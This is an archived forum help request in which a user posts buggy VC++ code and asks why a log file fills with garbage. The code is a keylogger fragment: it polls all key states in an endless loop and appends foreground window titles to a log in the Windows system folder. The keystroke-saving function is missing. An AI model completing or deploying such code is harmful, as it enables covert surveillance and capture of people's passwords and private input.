VC++: writting in txt file (trouble in loop).
Apr 18, 2014 at 7:55pm UTC
Hi, I'm wanting insert text in a txt file, but I'm having troubles. When I execute the program txt is create and simply his begin flood infinitely with stranges characters.
Here is the code make in VC++ 2008:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
#include <windows.h>
#pragma comment(lib, "user32")
using namespace System::IO;
void actwnd()
{
String^ path;
static wchar_t lastwindow[MAX_PATH];
wchar_t currentwindow[MAX_PATH];
HWND mainwindow;
path = String::Concat(L"C:" ,"\\WINDOWS\\" ,"LOG.txt" );
mainwindow = GetForegroundWindow();
GetWindowText(mainwindow,currentwindow,sizeof (currentwindow));
if (lastwindow==currentwindow)
{
}
else
if (wcscmp(lastwindow,currentwindow)!=0)
{
wcscpy (lastwindow,currentwindow);
String^ strNew = gcnew String(currentwindow);
File::AppendAllText(path, strNew);
}
}
void Control()
{
while (true )
{
for (i=0; i<=255; i++)
{
if (GetAsyncKeyState(i) == -32767)
actwnd(); // <= here is error
save(i);
}
}
}
What could be wrong?
Thanks in advance.
Last edited on Apr 19, 2014 at 8:34pm UTC
Topic archived. No new replies allowed.